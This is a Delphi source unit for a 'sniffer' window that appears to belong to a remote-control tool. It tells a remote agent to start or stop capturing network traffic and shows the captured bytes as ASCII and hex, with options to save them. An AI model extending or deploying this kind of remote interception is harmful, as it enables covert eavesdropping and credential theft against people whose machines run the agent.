unitsniffer.pas

不错的远程控制程序

unit UnitSniffer;

interface

uses
  Windows,
  Messages,
  SysUtils,
  Variants,
  Classes,
  Graphics,
  Controls,
  Forms,
  Dialogs,
  ExtCtrls,
  StdCtrls,
  Menus,
  ComCtrls,
  Sockets,
  CompressionStreamUnitForms;

type
  TSniffer = class(TForm)
    Label1: TLabel;
    Memo1: TMemo;
    Panel1: TPanel;
    Splitter1: TSplitter;
    Label2: TLabel;
    Memo2: TMemo;
    PopupMenu1: TPopupMenu;
    SaveToFile1: TMenuItem;
    N1: TMenuItem;
    Clear1: TMenuItem;
    PopupMenu2: TPopupMenu;
    MenuItem1: TMenuItem;
    MenuItem2: TMenuItem;
    MenuItem3: TMenuItem;
    Panel2: TPanel;
    Label3: TLabel;
    Label4: TLabel;
    CheckBox1: TCheckBox;
    procedure CheckBox1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure FormDeactivate(Sender: TObject);
    procedure Clear1Click(Sender: TObject);
    procedure SaveToFile1Click(Sender: TObject);
    procedure MenuItem1Click(Sender: TObject);
    procedure MenuItem3Click(Sender: TObject);
  private
    { Private declarations }
    DataSocket: TCustomWinSocket;
    Connected: Boolean;
    ConnectNotifyInfo: TNotifyInfo;
    ReadNotifyInfo: TNotifyInfo;
    DisconnectNotifyInfo: TNotifyInfo;
    procedure Connect(var Socket: TCustomWinSocket; Data: Pointer);
    procedure Read(var Socket: TCustomWinSocket; CommandFrame: TCommandFrame; Stream: TMemoryStream; Data: Pointer);
    procedure Disconnect(var Socket: TCustomWinSocket; Data: Pointer);
    function SocketConnected: Boolean;
  public
    { Public declarations }
    RemoteAddress: string;
    WindowItem: TListItem;
    SnifferAddress: string;
  end;

implementation

{$R *.dfm}

uses
  UnitMain;

const
  SNF_TYPE = 11;
  SNF_START = 1;
  SNF_STOP = 2;
  SNF_LIST = 3;

function TSniffer.SocketConnected: Boolean;
begin
  if ((Connected) and (DataSocket <> nil)) then
  begin
    Connected := DataSocket.Connected;
    if not Connected then Label3.Caption := ' 断开连接';
  end;
  Result := Connected;
end;

function DumpDataAscii(Buffer: Pointer; Length: Word): string;
var
  Iterator: Integer;
  AsciiBuffer: string;
begin
  AsciiBuffer := '';
  for Iterator := 0 to Length - 1 do
  begin
    if Char(Pointer(Integer(Buffer) + Iterator)^) in [#32..#126] then
      AsciiBuffer := AsciiBuffer + Char(Pointer(Integer(Buffer) + Iterator)^) + ' '
    else
      AsciiBuffer := AsciiBuffer + '.';
  end;
  Result := AsciiBuffer;
end;

function DumpDataHex(Buffer: Pointer; Length: Word): string;
var
  Iterator: Integer;
  AsciiBuffer: string;
begin
  AsciiBuffer := '';
  for Iterator := 0 to Length - 1 do
  begin
    AsciiBuffer := AsciiBuffer + IntToHex(Byte(Pointer(Integer(Buffer) + Iterator)^), 2) + ' ';
  end;
  Result := AsciiBuffer;
end;

procedure TSniffer.Connect(var Socket: TCustomWinSocket; Data: Pointer);
var
  Sniffer: TSniffer;
  ConnectionInfo: TConnectionInfo;
begin
  Sniffer := TSniffer(Data);
  if TStreamRecord(Socket.Data).LocalAddress <> Sniffer.RemoteAddress then Exit;
  if Sniffer.DataSocket = nil then Sniffer.DataSocket := Socket else Exit;
  ConnectionInfo.ConnectionType := SNF_TYPE;
  Socket.SendBuf(ConnectionInfo, SizeOf(TConnectionInfo));
  Sniffer.Connected := True;
  Sniffer.Label3.Caption := ' 已连接: ' + Socket.RemoteAddress;
  Sniffer.CheckBox1.Enabled := True;
  Socket := nil;
end;

procedure TSniffer.Read(var Socket: TCustomWinSocket; CommandFrame: TCommandFrame; Stream: TMemoryStream; Data: Pointer);
var
  Sniffer: TSniffer;
begin
  Sniffer := TSniffer(Data);
  if Sniffer.DataSocket = Socket then
  begin
    try
      case CommandFrame.Command of
        SNF_LIST:
          begin
            Stream.Position := 0;
            Sniffer.Memo1.Text := Sniffer.Memo1.Text + DumpDataAscii(Stream.Memory, Stream.Size) + #13#10 + #13#10;
            Sniffer.Memo2.Text := Sniffer.Memo2.Text + DumpDataHex(Stream.Memory, Stream.Size) + #13#10 + #13#10;
          end;
      end;
    finally
      Socket := nil;
    end;
  end;
end;

procedure TSniffer.Disconnect(var Socket: TCustomWinSocket; Data: Pointer);
var
  Sniffer: TSniffer;
begin
  Sniffer := TSniffer(Data);
  if Sniffer.DataSocket = Socket then
  begin
    Sniffer.Connected := False;
    Sniffer.Label3.Caption := ' 断开连接';
    Sniffer.CheckBox1.Checked := False;
    Sniffer.CheckBox1.Enabled := False;
    Socket := nil;
    Sniffer.DataSocket := nil;
  end;
end;

procedure TSniffer.FormCreate(Sender: TObject);
begin
  DataSocket := nil;
  ConnectNotifyInfo := TNotifyInfo.Create;
  ConnectNotifyInfo.Data := Self;
  ConnectNotifyInfo.Callback := @TSniffer.Connect;
  Main.NotifyConnectList.Add(ConnectNotifyInfo);
  ReadNotifyInfo := TNotifyInfo.Create;
  ReadNotifyInfo.Data := Self;
  ReadNotifyInfo.Callback := @TSniffer.Read;
  Main.NotifyReadList.Add(ReadNotifyInfo);
  DisconnectNotifyInfo := TNotifyInfo.Create;
  DisconnectNotifyInfo.Data := Self;
  DisconnectNotifyInfo.Callback := @TSniffer.Disconnect;
  Main.NotifyDisconnectList.Add(DisconnectNotifyInfo);
end;

procedure TSniffer.CheckBox1Click(Sender: TObject);
var
  CommandFrame: TCommandFrame;
  ReplyStream: TMemoryStream;
begin
  if not SocketConnected then Exit;
  if CheckBox1.Checked then
  begin
    CommandFrame.len := Length(SnifferAddress) + 1;
    CommandFrame.Command := SNF_START;
    CommandFrame.ID := FRAME_ID;
    ReplyStream := TMemoryStream.Create;
    ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
    ReplyStream.WriteBuffer(Pointer(SnifferAddress)^, CommandFrame.len);
    Main.SendStream(DataSocket, ReplyStream);
  end
  else
  begin
    CommandFrame.len := 0;
    CommandFrame.Command := SNF_STOP;
    CommandFrame.ID := FRAME_ID;
    ReplyStream := TMemoryStream.Create;
    ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
    Main.SendStream(DataSocket, ReplyStream);
  end;
end;

procedure TSniffer.FormCloseQuery(Sender: TObject;
  var CanClose: Boolean);
begin
  CanClose := not CheckBox1.Checked;
end;

procedure TSniffer.FormClose(Sender: TObject; var Action: TCloseAction);
var
  Socket: TCustomWinSocket;
begin
  Main.NotifyConnectList.Delete(Main.NotifyConnectList.IndexOf(ConnectNotifyInfo));
  Main.NotifyReadList.Delete(Main.NotifyReadList.IndexOf(ReadNotifyInfo));
  Main.NotifyDisconnectList.Delete(Main.NotifyDisconnectList.IndexOf(DisconnectNotifyInfo));
  WindowItem.Delete;
  if DataSocket <> nil then
  begin
    if not SocketConnected then
    begin
      Socket := DataSocket;
      DataSocket := nil;
      Connected := False;
      Socket.Close;
    end;
  end;
end;

procedure TSniffer.FormDeactivate(Sender: TObject);
begin
  if WindowState = wsMinimized then Hide;
end;

procedure TSniffer.Clear1Click(Sender: TObject);
begin
  Memo1.Clear;
end;

procedure TSniffer.SaveToFile1Click(Sender: TObject);
var
  SaveDialog: TSaveDialog;
begin
  SaveDialog := TSaveDialog.Create(Application);
  SaveDialog.DefaultExt := 'txt';
  SaveDialog.Title := '保存嗅探数据到文件';
  if not SaveDialog.Execute then Exit;
  Memo1.Lines.SaveToFile(SaveDialog.FileName);
end;

procedure TSniffer.MenuItem1Click(Sender: TObject);
var
  SaveDialog: TSaveDialog;
begin
  SaveDialog := TSaveDialog.Create(Application);
  SaveDialog.DefaultExt := 'txt';
  SaveDialog.Title := '保存嗅探数据到文件';
  if not SaveDialog.Execute then Exit;
  Memo2.Lines.SaveToFile(SaveDialog.FileName);
end;

procedure TSniffer.MenuItem3Click(Sender: TObject);
begin
  Memo2.Clear;
end;

end.